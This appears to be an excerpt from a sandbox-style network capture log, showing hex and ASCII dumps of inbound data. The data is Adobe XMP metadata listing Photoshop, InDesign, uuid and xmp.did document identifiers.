38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 43 41 44 34 46 36 43 36 33 45 35 34 45 45 41 36 30 
30 30 31 41 37 34 30 32 32 32 35 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 45 46 42 31 43 35 
35 37 30 35 31 43 45 41 33 37 39 44 30 42 30 37 36 42 32 42 32 30 37 45 
Data Ascii: 7A577</rdf:li> <rdf:li>FCA3836EA94AE97B0EF8C500E3A25916</rdf:li> <rdf:li>FCA771567B351B8
4E27E64922FBE28AC</rdf:li> <rdf:li>FCAAA9E433D42C77677BE596FBC05481</rdf:li> <rdf:li>FCCAD4F6C63E54E
EA60001A7402225D9</rdf:li> <rdf:li>FCEFB1C557051CEA379D0B076B2B207E

2022-08-11 03:42:55 UTC 4867 IN Data Raw: 2d 62 37 63 61 2d 66 33 36 34 61 39 34 62 62 63 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
61 64 6f 62 65 3a 64 6f 63 69 64 3a 69 6e 64 64 3a 65 39 32 65 63 65 35 35 2d 33 30 35 63 2d 31 31 65 30 2d 62 65 38 
30 2d 38 61 63 33 65 63 33 62 32 62 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 30 30 63 30 37 61 35 2d 37 32 63 35 2d 31 31 65 31 2d 38 61 64 33 2d 66 
35 39 34 66 36 35 62 36 66 36 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 
3a 70 68 6f 74 6f 73 68 6f 70 3a 30 30 36 37 34 65 33 38 2d 34 32 64 38 2d 31 31 37 38 2d 39 30 37 65 2d 38 35 36 30 3
7 63 33 36 61 63 36 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii: -b7ca-f364a94bbcec</rdf:li> <rdf:li>adobe:docid:indd:e92ece55-305c-11e0-be80-8ac3ec3b2b84</rdf:li> 
<rdf:li>adobe:docid:photoshop:000c07a5-72c5-11e1-8ad3-f594f65b6f6f</rdf:li> <rdf:li>adobe:docid:photoshop:00674e38-
42d8-1178-907e-85607c36ac6a</rdf:li> <rdf

2022-08-11 03:42:55 UTC 4883 IN Data Raw: 68 6f 74 6f 73 68 6f 70 3a 33 36 62 65 36 31 39 61 2d 32 36 62 37 2d 31 31 37 38 2d 61 37 33 36 2d 39 66 35 
31 37 33 63 37 32 36 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
68 6f 74 6f 73 68 6f 70 3a 33 36 64 39 64 38 39 35 2d 37 61 66 36 2d 31 31 64 61 2d 62 30 36 33 2d 61 35 30 38 37 61 
34 35 31 61 65 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
6f 73 68 6f 70 3a 33 36 65 64 34 32 61 32 2d 62 36 62 30 2d 31 31 65 31 2d 62 36 61 36 2d 64 32 65 36 37 34 30 63 33 
37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 
6f 70 3a 33 37 31 61 37 65 35 63 2d 37 61 62 36 2d 31 31 37 38 
Data Ascii: hotoshop:36be619a-26b7-1178-a736-9f5173c7262d</rdf:li> <rdf:li>adobe:docid:photoshop:36d9d895-7af6-
11da-b063-a5087a451ae2</rdf:li> <rdf:li>adobe:docid:photoshop:36ed42a2-b6b0-11e1-b6a6-d2e6740c37af</rdf:li> <
rdf:li>adobe:docid:photoshop:371a7e5c-7ab6-1178

2022-08-11 03:42:55 UTC 4915 IN Data Raw: 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 
68 6f 70 3a 36 34 63 35 61 37 31 36 2d 66 63 37 37 2d 64 39 34 65 2d 62 35 35 61 2d 64 61 37 61 31 39 39 35 65 36 34 
35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
3a 36 35 36 66 35 34 30 32 2d 64 63 36 38 2d 31 66 34 39 2d 38 35 35 35 2d 35 36 37 35 39 31 30 32 62 65 66 62 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 35 
38 62 33 32 35 63 2d 31 62 33 39 2d 31 31 65 38 2d 39 33 65 35 2d 66 64 34 64 37 38 33 38 38 38 64 33 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
Data Ascii: 9</rdf:li> <rdf:li>adobe:docid:photoshop:64c5a716-fc77-d94e-b55a-da7a1995e645</rdf:li> <rdf:li>ado
be:docid:photoshop:656f5402-dc68-1f49-8555-56759102befb</rdf:li> <rdf:li>adobe:docid:photoshop:658b325c-1b39-1
1e8-93e5-fd4d783888d3</rdf:li> <rdf:li>adobe:do

2022-08-11 03:42:55 UTC 4923 IN Data Raw: 32 2d 62 35 30 39 2d 31 31 64 64 2d 38 32 32 36 2d 64 61 39 34 39 34 38 37 36 37 33 32 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 39 38 64 63 65 33 
33 2d 66 63 34 35 2d 31 31 65 36 2d 62 66 62 30 2d 38 64 61 32 39 32 34 62 66 33 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 39 63 62 32 30 30 37 2d 61 
37 30 61 2d 64 36 34 30 2d 62 62 38 63 2d 30 34 35 34 63 62 65 65 37 63 66 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 39 64 30 61 66 34 32 2d 61 65 39 35 
2d 31 31 64 61 2d 62 61 62 63 2d 39 63 30 64 65 64 32 61 34 36 
Data Ascii: 2-b509-11dd-8226-da9494876732</rdf:li> <rdf:li>adobe:docid:photoshop:798dce33-fc45-11e6-bfb0-8da29
24bf3bb</rdf:li> <rdf:li>adobe:docid:photoshop:79cb2007-a70a-d640-bb8c-0454cbee7cf9</rdf:li> <rdf:li>adobe:doc
id:photoshop:79d0af42-ae95-11da-babc-9c0ded2a46

2022-08-11 03:42:55 UTC 4939 IN Data Raw: 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 34 62 32 65 33 66 2d 39 31 
31 65 2d 31 31 65 36 2d 38 63 33 62 2d 38 66 35 30 35 34 62 65 39 35 64 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 65 32 34 32 36 37 2d 38 35 39 64 2d 
31 31 64 38 2d 62 31 38 36 2d 62 34 65 38 30 31 34 32 63 36 64 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 64 65 36 34 66 66 35 2d 32 61 62 33 2d 31 31 65 
37 2d 62 66 34 66 2d 61 32 33 65 38 33 39 35 38 64 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6
f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 61 65 
Data Ascii: li>adobe:docid:photoshop:ad4b2e3f-911e-11e6-8c3b-8f5054be95dd</rdf:li> <rdf:li>adobe:docid:photosh
op:ade24267-859d-11d8-b186-b4e80142c6d8</rdf:li> <rdf:li>adobe:docid:photoshop:ade64ff5-2ab3-11e7-bf4f-a23e839
58dee</rdf:li> <rdf:li>adobe:docid:photoshop:ae

2022-08-11 03:42:55 UTC 4955 IN Data Raw: 64 63 2d 39 32 65 64 2d 38 39 32 35 65 61 61 30 63 65 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 34 63 38 37 30 37 62 2d 62 36 30 61 2d 31 31 
64 38 2d 39 63 62 38 2d 63 66 31 32 38 38 35 30 32 64 62 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 
64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 34 65 36 38 31 39 38 2d 34 65 32 36 2d 31 31 65 35 2d 
62 32 30 61 2d 65 33 35 31 39 34 38 65 35 66 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 
65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 35 30 61 39 64 62 39 2d 66 34 39 39 2d 37 32 34 37 2d 62 34 64 
65 2d 32 31 32 33 37 33 30 37 38 39 36 31 3c 2f 72 64 66 3a 6c 
Data Ascii: dc-92ed-8925eaa0ce95</rdf:li> <rdf:li>adobe:docid:photoshop:e4c8707b-b60a-11d8-9cb8-cf1288502db2</
rdf:li> <rdf:li>adobe:docid:photoshop:e4e68198-4e26-11e5-b20a-e351948e5fbb</rdf:li> <rdf:li>adobe:docid:photos
hop:e50a9db9-f499-7247-b4de-212373078961</rdf:l

2022-08-11 03:42:55 UTC 4962 IN Data Raw: 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 63 61 39 62 65 31 63 2d 63 32 66 39 2d 31 31 65 36 2d 62 30 38 65 2d 
39 63 61 38 64 30 38 30 34 61 66 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 
64 3a 70 68 6f 74 6f 73 68 6f 70 3a 66 64 31 33 66 34 39 33 2d 39 66 62 64 2d 31 31 64 61 2d 62 30 62 34 2d 38 34 66 
38 31 62 33 62 39 32 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
68 6f 74 6f 73 68 6f 70 3a 66 64 37 30 31 32 34 34 2d 32 36 64 63 2d 31 31 64 39 2d 62 33 61 39 2d 64 62 32 66 38 65 
38 33 35 64 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
6f 73 68 6f 70 3a 66 64 37 36 30 38 33 64 2d 66 63 36 61 2d 31 
Data Ascii: d:photoshop:fca9be1c-c2f9-11e6-b08e-9ca8d0804af8</rdf:li> <rdf:li>adobe:docid:photoshop:fd13f493-9fbd-
11da-b0b4-84f81b3b92aa</rdf:li> <rdf:li>adobe:docid:photoshop:fd701244-26dc-11d9-b3a9-db2f8e835d77</rdf:li> <rdf:li>
adobe:docid:photoshop:fd76083d-fc6a-1
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2022-08-11 03:42:55 UTC 4978 IN Data Raw: 64 3a 33 33 46 37 33 39 46 45 32 37 39 33 44 45 31 31 39 37 42 34 41 33 30 44 39 46 43 42 42 35 44 44 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 34 33 31 46 34 33 34 35 35 36 34 45 30 31 31 41 32 
31 33 45 34 30 42 37 45 34 36 41 38 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 34 
33 38 33 43 31 39 43 39 31 45 44 45 31 31 38 45 32 33 45 35 43 46 35 45 32 46 35 34 42 35 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 34 35 31 62 39 30 37 2d 39 30 61 63 2d 33 62 34 34 2d 62 35 66 33 2d 36 
66 33 64 39 61 34 63 34 34 66 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 34 36 30 30 
42 36 32 31 41 43 31 44 46 31 31 38 32 33 42 43 38 30 41 38 34 39 43 35 
Data Ascii: d:33F739FE2793DE1197B4A30D9FCBB5DD</rdf:li> <rdf:li>uuid:3431F4345564E011A213E40B7E46A81
7</rdf:li> <rdf:li>uuid:34383C19C91EDE118E23E5CF5E2F54B5</rdf:li> <rdf:li>uuid:3451b907-90ac-3b44-b5f3-6f3d9a4
c44fc</rdf:li> <rdf:li>uuid:34600B621AC1DF11823BC80A849C5

2022-08-11 03:42:55 UTC 4982 IN Data Raw: 43 38 44 45 31 31 42 35 42 30 45 30 30 36 41 33 43 42 34 45 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 75 75 69 64 3a 34 32 42 41 37 45 31 30 33 46 38 41 44 42 31 31 39 30 30 37 45 34 33 38 43 39 35 37 34 33 
45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 32 44 42 30 41 32 30 32 39 35 37 31 31 
44 42 39 34 35 37 41 32 39 37 30 41 34 37 37 31 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 6
4 3a 34 33 30 33 34 36 44 46 42 45 43 38 45 34 31 31 39 44 33 39 42 30 37 36 34 43 41 43 38 45 41 45 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 33 43 39 35 35 37 31 45 31 39 33 44 45 31 31 41 34 38 41 41 
46 36 32 30 36 35 41 44 44 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: C8DE11B5B0E006A3CB4EE6</rdf:li> <rdf:li>uuid:42BA7E103F8ADB119007E438C95743E4</rdf:li> <
rdf:li>uuid:42DB0A20295711DB9457A2970A4771EE</rdf:li> <rdf:li>uuid:430346DFBEC8E4119D39B0764CAC8EAE<
/rdf:li> <rdf:li>uuid:43C95571E193DE11A48AAF62065ADD7D</rdf:li> <rd

2022-08-11 03:42:55 UTC 4998 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 39 41 39 37 37 34 38 39 36 46 45 30 31 31 42 43 
36 32 41 41 43 33 46 32 38 44 31 34 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 
39 44 39 37 35 34 36 35 35 37 44 46 31 31 39 44 34 30 43 43 31 36 32 37 30 35 46 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 34 43 37 46 31 41 33 31 42 41 43 44 42 31 31 38 30 34 31 46 30 42 41 45 
33 30 43 31 30 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 35 33 30 39 42 42 39 31 
34 31 30 44 46 31 31 38 38 46 46 44 44 42 46 46 37 45 46 31 36 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 75 75 69 64 3a 37 35 35 46 46 44 35 32 39 39 42 37 44 46 31 31 42 46 
Data Ascii: li> <rdf:li>uuid:749A9774896FE011BC62AAC3F28D1468</rdf:li> <rdf:li>uuid:749D97546557DF11
9D40CC162705F5CF</rdf:li> <rdf:li>uuid:74C7F1A31BACDB118041F0BAE30C104A</rdf:li> <rdf:li>uuid:75309B
B91410DF1188FFDDBFF7EF16EC</rdf:li> <rdf:li>uuid:755FFD5299B7DF11BF

2022-08-11 03:42:55 UTC 7389 IN Data Raw: 66 3a 6c 69 3e 75 75 69 64 3a 41 36 34 35 44 43 44 33 33 41 46 39 44 46 31 31 42 35 39 32 46 38 38 31 30 
38 37 37 31 34 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 36 34 45 44 32 35 32 41 
37 43 39 45 30 31 31 41 41 35 35 41 30 36 35 46 38 41 32 33 39 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 75 75 69 64 3a 41 36 36 43 46 38 38 36 41 34 32 32 45 31 31 31 42 30 44 46 42 38 36 34 37 30 37 30 35 30 30 32 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 41 36 38 41 44 42 38 45 34 41 42 31 44 46 31 31 
41 41 33 39 44 44 35 38 30 37 37 30 45 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 
41 36 39 42 34 42 43 42 32 39 42 43 44 44 31 31 39 30 44 36 44 35 39 31 41 
Data Ascii: f:li>uuid:A645DCD33AF9DF11B592F8810877149D</rdf:li> <rdf:li>uuid:A64ED252A7C9E011AA55A06
5F8A23988</rdf:li> <rdf:li>uuid:A66CF886A422E111B0DFB86470705002</rdf:li> <rdf:li>uuid:A68ADB8E4AB1D
F11AA39DD580770E844</rdf:li> <rdf:li>uuid:A69B4BCB29BCDD1190D6D591A

2022-08-11 03:42:55 UTC 7397 IN Data Raw: 42 39 31 35 44 33 36 31 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 33 42 
30 41 41 35 31 34 44 30 37 44 44 31 31 41 46 32 45 42 45 37 37 35 30 39 39 35 39 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 33 43 30 31 46 42 33 34 37 37 33 44 46 31 31 42 34 32 37 38 37 33 35 36 39 
45 32 45 45 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 33 43 46 46 35 41 39 41 41 4
6 39 31 31 44 42 41 32 33 37 39 42 45 37 34 37 30 34 45 32 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
75 75 69 64 3a 43 33 44 39 33 33 44 34 42 38 38 34 44 44 31 31 41 39 31 46 45 31 36 37 46 43 36 45 37 38 35 46 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 34 
Data Ascii: B915D361CC</rdf:li> <rdf:li>uuid:C3B0AA514D07DD11AF2EBE775099594F</rdf:li> <rdf:li>uuid:
C3C01FB34773DF11B427873569E2EE87</rdf:li> <rdf:li>uuid:C3CFF5A9AAF911DBA2379BE74704E200</rdf:li> <rd
f:li>uuid:C3D933D4B884DD11A91FE167FC6E785F</rdf:li> <rdf:li>uuid:C4

2022-08-11 03:42:55 UTC 7413 IN Data Raw: 31 36 37 44 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 34 
46 39 35 42 34 31 32 30 36 38 31 31 39 32 42 30 45 41 33 38 41 39 31 37 36 44 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 35 41 34 33 39 32 43 39 37 45 34 31 31 39 43 41 33 38 35 33 37 
38 32 32 44 30 30 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 42 39 3
0 38 37 30 45 32 30 36 38 31 31 38 38 43 36 45 33 32 37 36 43 30 43 43 38 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 61 61 38 35 65 2d 62 39 61 39 2d 34 33 37 33 2d 62 63 34 33 2d 61 
39 61 65 37 39 61 63 36 65 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: 167D32</rdf:li> <rdf:li>xmp.did:0044F95B4120681192B0EA38A9176D6C</rdf:li> <rdf:li>xmp.did:0045A439
2C97E4119CA38537822D00A8</rdf:li> <rdf:li>xmp.did:004B90870E20681188C6E3276C0CC89A</rdf:li> <rdf:li>
xmp.did:004aa85e-b9a9-4373-bc43-a9ae79ac6e90</rdf:li> <rd

2022-08-11 03:42:55 UTC 7429 IN Data Raw: 31 31 39 39 34 43 45 46 39 45 43 46 36 46 45 45 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 37 42 41 42 35 37 42 37 42 38 33 37 38 38 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 
36 38 31 31 41 39 36 31 42 32 31 34 31 42 44 43 41 33 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 39 36 31 44 37 33 34 45 38 46 41 45 30 39 38 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 
38 31 31 41 43 39 38 38 45 31 30 43 43 30 43 43 37 45 37 3c 2f 72 64 66 
Data Ascii: 11994CEF9ECF6FEECD</rdf:li> <rdf:li>xmp.did:0280117407206811A7BAB57B7B837883</rdf:li> <rdf:li>xmp.
did:0280117407206811A961B2141BDCA390</rdf:li> <rdf:li>xmp.did:0280117407206811A961D734E8FAE098</rdf:li> 
<rdf:li>xmp.did:0280117407206811AC988E10CC0CC7E7</rdf

2022-08-11 03:42:55 UTC 7437 IN Data Raw: 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 32 46 34 38 31 32 38 36 46 32 30 32 45 41 35 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 
41 36 33 39 43 37 31 38 43 34 35 39 30 44 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 6
9 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 37 33 32 45 42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 
37 38 45 41 34 41 39 43 38 43 43 44 36 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 41 39 41 35 38 
Data Ascii: 0480117407206811A2F481286F202EA5</rdf:li> <rdf:li>xmp.did:0480117407206811A639C718C4590D
6D</rdf:li> <rdf:li>xmp.did:0480117407206811A732EB610C85D7A5</rdf:li> <rdf:li>xmp.did:04801174072068
11A78EA4A9C8CCD6DA</rdf:li> <rdf:li>xmp.did:0480117407206811ABA9A58
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2022-08-11 03:42:55 UTC 7453 IN Data Raw: 35 35 35 32 31 36 38 31 31 39 39 34 43 39 38 37 39 37 46 46 32 44 44 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 45 30 45 31 44 31 33 42 32 34 36 38 31 31 39 39 34 43 41 30 45 36 
41 42 31 43 31 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 64 34 37 
38 64 64 2d 64 66 31 62 2d 35 36 34 65 2d 38 39 61 63 2d 64 37 39 34 31 35 62 33 34 33 62 38 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 41 33 43 32 36 31 39 36 30 43 37 45 31 31 31 42 36 45 43 41 
36 39 30 41 41 43 37 45 45 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 41 
36 44 37 37 45 30 41 34 41 35 44 46 31 31 38 36 33 44 44 38 45 30 32 37 
Data Ascii: 555216811994C98797FF2DDC4</rdf:li> <rdf:li>xmp.did:09E0E1D13B246811994CA0E6AB1C1578</rdf:li> 
<rdf:li>xmp.did:09d478dd-df1b-564e-89ac-d79415b343b8</rdf:li> <rdf:li>xmp.did:0A3C261960C7E111B6ECA690AAC
7EE61</rdf:li> <rdf:li>xmp.did:0A6D77E0A4A5DF11863DD8E027

2022-08-11 03:42:55 UTC 7457 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 44 45 31 41 38 34 38 43 36 32 30 
36 38 31 31 41 46 39 42 44 32 35 44 32 44 30 32 35 39 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 30 45 32 38 33 45 39 45 39 37 30 37 45 30 31 31 39 36 32 44 38 34 42 33 44 30 36 39 43 32 42 37 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 45 32 44 45 33 41 34 30 44 32 31 36 
38 31 31 38 44 42 42 39 39 42 39 31 45 41 38 43 37 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 30 45 33 43 32 36 31 39 36 30 43 37 45 31 31 31 42 36 45 43 41 36 39 30 41 41 43 37 45 45 36 31 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
Data Ascii: df:li> <rdf:li>xmp.did:0DE1A848C6206811AF9BD25D2D0259E1</rdf:li> <rdf:li>xmp.did:0E283E9E9707E0119
62D84B3D069C2B7</rdf:li> <rdf:li>xmp.did:0E2DE3A40D2168118DBB99B91EA8C797</rdf:li> <rdf:li>xmp.did:0
E3C261960C7E111B6ECA690AAC7EE61</rdf:li> <rdf:li>xmp.did:

2022-08-11 03:42:55 UTC 7473 IN Data Raw: 3a 31 45 41 36 32 36 32 37 31 41 32 30 36 38 31 31 39 32 42 30 39 39 32 45 39 42 32 41 46 44 30 41 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 45 41 44 46 44 39 30 46 31 32 30 36 38 31 
31 41 44 34 44 39 39 45 34 37 38 36 37 32 44 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 31 45 42 32 35 30 31 41 34 45 45 38 31 31 45 37 42 39 39 36 38 38 30 39 41 37 30 46 35 43 44 39 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 45 43 38 31 35 39 42 44 35 38 41 31 31 45 32 
39 33 39 46 41 33 44 37 39 33 43 36 33 33 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 31 45 44 31 44 37 30 38 33 38 32 30 36 38 31 31 39 32 42 30 46 38 
Data Ascii: :1EA626271A20681192B0992E9B2AFD0A</rdf:li> <rdf:li>xmp.did:1EADFD90F1206811AD4D99E478672
DD4</rdf:li> <rdf:li>xmp.did:1EB2501A4EE811E7B9968809A70F5CD9</rdf:li> <rdf:li>xmp.did:1EC8159BD58A1
1E2939FA3D793C633D4</rdf:li> <rdf:li>xmp.did:1ED1D7083820681192B0F8

2022-08-11 03:42:55 UTC 7489 IN Data Raw: 6d 70 2e 64 69 64 3a 32 44 45 34 42 33 46 32 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 
45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 45 31 38 33 32 37 46 31 
46 32 30 36 38 31 31 39 32 42 30 45 41 42 32 44 39 37 44 32 46 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
